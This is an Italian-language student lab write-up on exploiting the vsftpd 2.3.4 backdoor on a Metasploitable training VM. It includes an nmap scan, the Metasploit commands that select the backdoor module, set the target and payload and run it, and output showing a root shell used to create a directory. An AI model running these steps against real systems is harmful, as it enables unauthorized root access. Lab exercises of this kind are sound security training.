

ESERCITAZIONE S7 L1

Hacking con Metasploit

Vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable sfruttando il servizio *vsftpd*.

Una volta ottenuta la sessione, si dovrà creare una directory chiamata *test_metasploit*.

EXPLOIT

Un exploit è una forma sofisticata di codice, sequenza di comandi o software progettato per sfruttare vulnerabilità all'interno di un sistema informatico o di un'applicazione. L'obiettivo principale di un exploit è quello di ottenere un vantaggio indebito, come l'accesso non autorizzato a un sistema, l'esecuzione di codice malevolo o il superamento di misure di sicurezza.

Immaginiamo il sistema informatico come una struttura complessa con diverse porte e finestre di accesso, ognuna delle quali dovrebbe essere ben chiusa per impedire l'ingresso non autorizzato. Un exploit può essere paragonato a un insidioso ladro che cerca di sfruttare falle nelle chiusure delle porte o finestre per entrare nella struttura.

Queste vulnerabilità possono derivare da errori di programmazione, omissioni nel codice, o da una mancata implementazione di misure di sicurezza adeguate. Gli sviluppatori lavorano costantemente per identificare e correggere tali falle attraverso aggiornamenti software e patch di sicurezza.

Una volta individuata una vulnerabilità, un exploit può essere progettato per sfruttarla in modo specifico. Può essere distribuito attraverso varie vie, come file dannosi, link ingannevoli o e-mail di phishing. Quando l'exploit riesce a sfruttare la vulnerabilità, può consentire al suo creatore di ottenere un accesso non autorizzato, manipolare dati o eseguire azioni dannose nel sistema bersaglio.

Per prevenire gli exploit, è cruciale adottare pratiche di sviluppo sicure, applicare aggiornamenti regolari di sicurezza e utilizzare soluzioni di difesa come firewall e sistemi di rilevamento delle intrusioni. La consapevolezza degli utenti e la prontezza nel segnalare comportamenti sospetti sono altrettanto importanti per mantenere un ambiente informatico sicuro.

PROTOCOLLO ATTACCATO

Vsftpd, acronimo di "Very Secure FTP Daemon," è un server FTP progettato appositamente per sistemi operativi basati su Unix/Linux. La sua principale caratteristica distintiva è la meticolosa attenzione posta sulla sicurezza. Vsftpd offre un ambiente robusto e affidabile per agevolare il trasferimento di file attraverso la rete, assicurando che questa operazione critica avvenga in modo sicuro e protetto.

La sicurezza in vsftpd si manifesta attraverso diverse strategie. Il server implementa meccanismi di autenticazione robusti, garantendo che solo gli utenti autorizzati possano accedere e interagire con i dati. Il controllo degli accessi è un elemento centrale, consentendo agli amministratori di sistema di definire chi può accedere a quali risorse in base alle esigenze specifiche del loro ambiente.

Un aspetto cruciale della sicurezza è la possibilità di utilizzare crittografia SSL/TLS per proteggere il trasferimento dei dati tra il client e il server. Questa funzionalità è di particolare rilevanza quando si gestiscono informazioni sensibili attraverso il protocollo FTP.

La flessibilità è un altro punto di forza di vsftpd. Il server offre una vasta gamma di opzioni di configurazione, permettendo agli amministratori di adattare il comportamento del server in base alle esigenze specifiche, garantendo una perfetta integrazione nell'ambiente di lavoro.

Vsftpd è anche noto per funzionare con il minimo numero di privilegi necessari, riducendo così la superficie di attacco e migliorando la sicurezza complessiva del sistema. Le sue prestazioni efficienti e la capacità di mantenere alte velocità di trasferimento dei file, anche in situazioni di carico di lavoro intenso, ne fanno una scelta affidabile per gli ambienti di produzione.

La conformità agli standard è un ulteriore elemento da sottolineare. Vsftpd rispetta gli standard definiti nelle RFC relative al protocollo FTP, il che significa che è costruito seguendo specifiche rigorose, garantendo così un'interoperabilità ottimale con altri client e server FTP che seguono gli stessi standard.

STEP

Come prima cosa si è andati ad enumerare i servizi attivi su Metasploitable, attraverso il comando `nmap -sV 192.168.1.102`

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 10:19 CET
Nmap scan report for 192.168.1.102
Host is up (0.00086s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
50001/tcp open  nlockmgr       1-4 (RPC #100021)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.78 seconds
```

In questo modo possiamo sapere anche la versione del vsftpd e la porta.

Successivamente inizializziamo il database di Metasploit e avviamo la console con il comando `sudo msfdb init && console`.

```
(kali@kali)-[~]
$ sudo msfdb init && msfconsole --trace
[i] Database already started
[i] The database appears to be already configured, skipping initialization
ERROR: Invalid command line option provided.
Usage: msfconsole [options]

Common options:
  -E, --environment ENVIRONMENT  Set Rails environment, defaults to RAILS_ENV environment variable or 'production'

Database options:
  -M, --migration-path DIRECTORY  Specify a directory containing additional DB migrations
  -n, --no-database               Disable database support
  -y, --yaml PATH                 Specify a YAML file containing database settings

Framework options:
  -c FILE                        Load the specified configuration file
  -v, -V, --version              Show version

Module options:
  --[no-]defer-module-loads      Defer module loading unless explicitly asked
  -m, --module-path DIRECTORY    Load an additional module path

Console options:
  -a, --ask                      Ask before exiting Metasploit or accept 'exit -y'
  -H, --history-file FILE        Save command history to the specified file
  -l, --logger STRING            Specify a logger to use (Flatfile, Stderr, Stdout, StdoutWithoutTimestamps, TimestampColorlessFlatfile)
  --[no-]readline               Use the system Readline library instead of RbReadline
  -L, --real-readline            Use the system Readline library instead of RbReadline
  -o, --output FILE              Output to the specified file
  -p, --plugin PLUGIN           Load a plugin on startup
  -q, --quiet                    Do not print the banner on startup
  -r, --resource FILE            Execute the specified resource file (- for stdin)
  -x, --execute-command COMMAND Execute the specified console commands (use ; for multiples)
  -h, --help                     Show this message

(kali@kali)-[~]
$ msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command
```

Ora andremo a cercare e impostare correttamente l'exploit che vogliamo usare.

Con *search vsftpd* troveremo l'exploit chiamato *exploit/unix/ftp/vsftpd_234_backdoor* e poi
use *exploit/unix/ftp/vsftpd_234_backdoor* per selezionarlo.

```
msf6 > search vsftpd

Matching Modules
-----
#   Name                                     Disclosure Date   Rank      Check  Description
-   -
0   auxiliary/dos/ftp/vsftpd_232             2011-02-03       normal    Yes    VSFTPD 2.3.2 Denial of Service
1   exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03       excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection      use exploit/unix/fileformat/metasploit_libnss
use exploit/unix/fileformat/ghostscript_type_confusion           use exploit/unix/fileformat/metasploit_msfrpc
use exploit/unix/fileformat/imagemagick_delegate                 use exploit/unix/ftp/proftpd_133c_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
  Id  Name
  --  --
=> 0   Automatic
```

Con la funzione *info* otterremo le informazioni che dobbiamo andare ad impostare, in questo caso è necessario settare solamente l'ip target, tramite il comando *set RHOSTS 192.168.1.102*

```

Available targets:
  Id  Name
  --  --
  => 0  Automatic

Check supported:
No

Basic options:


| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

References:
  OSVDB (73573)
  http://pastebin.com/AetT9sS5
  http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

View the full module info with the info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.102
RHOSTS => 192.168.1.102
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

```

Ora andiamo ad impostare il payload che vogliamo iniettare:

- *set payload payload/cmd/unix/interact*
- *show options*

```

Compatible Payloads


| # | Name                      | Disclosure Date | Rank   | Check | Description                                        |
|---|---------------------------|-----------------|--------|-------|----------------------------------------------------|
| 0 | payload/cmd/unix/interact |                 | normal | No    | Unix Command, Interact with Established Connection |



msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > payload options
[-] Unknown command: payload
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  | 192.168.1.102   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|



Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
  Name: VSFTPD v2.3.4 Backdoor Command Execution
  Module: exploit/unix/ftp/vsftpd_234_backdoor
  Platform: Unix
  Arch: cmd
  Privileged: Yes
  License: Metasploit Framework License (BSD)

```

In questo caso non vengono richieste altre personalizzazioni quindi possiamo procedere direttamente ad eseguire l'exploit, con il comando *exploit* oppure *run*.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.102:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:33805 → 192.168.1.102:6200) at 2024-01-15 11:08:18 +0100

pwd
/
```

Possiamo notare che è stata creata una sessione di collegamento dal pc attaccante a quello target. Ora possiamo procedere alla creazione di una directory come richiesto dall'esercizio.

Avendo il controllo tramite cmd è sufficiente andare nella cartella root e creare la directory richiesta:

- cd /
- mkdir test_metasploit

```
cd /
pwd
/
mkdir test_metasploit
```

Possiamo notare sulla finestra di Metasploitable la cartella appena creata.

The screenshot shows a terminal window with a dark background. The left pane displays the output of several commands: `ifconfig` for `eth0` and `lo`, and `mkdir test_metasploit`. The right pane shows the `/etc/network/interfaces` file content, which includes configuration for `eth0` and `lo`. At the bottom, a directory listing shows the newly created `test_metasploit` directory.

```
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd /etc/interfaces/network
sh: line 13: cd: /etc/interfaces/network: No such file or directory
cd /etc/interfaces/network
sh: line 14: cd: /etc/interfaces/network: No such file or directory
pwd
/
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:27:8a:4d
          inet addr:192.168.1.102  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe27:8a4d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1518 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1432 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:120019 (117.2 KB)  TX bytes:98623 (96.3 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:341 errors:0 dropped:0 overruns:0 frame:0
          TX packets:341 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:129673 (126.6 KB)  TX bytes:129673 (126.6 KB)

cd /
pwd
/
mkdir test_metasploit
```

```
File Macchina Visualizza Inserimento Dispositivi Aiuto
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.102
netmask 255.255.255.0
gateway 192.168.1.1

msfadmin@metasploitable:/etc/network$ pwd
/etc/network
msfadmin@metasploitable:/etc/network$ cd /
msfadmin@metasploitable:/$ ls
bin  dev  initrd  lost+found  nohup.out  root  sys  test_metasploit  usr
boot  etc  initrd.img  media  opt  sbin  tmp  var  vmlinuz
msfadmin@metasploitable:/$ _
```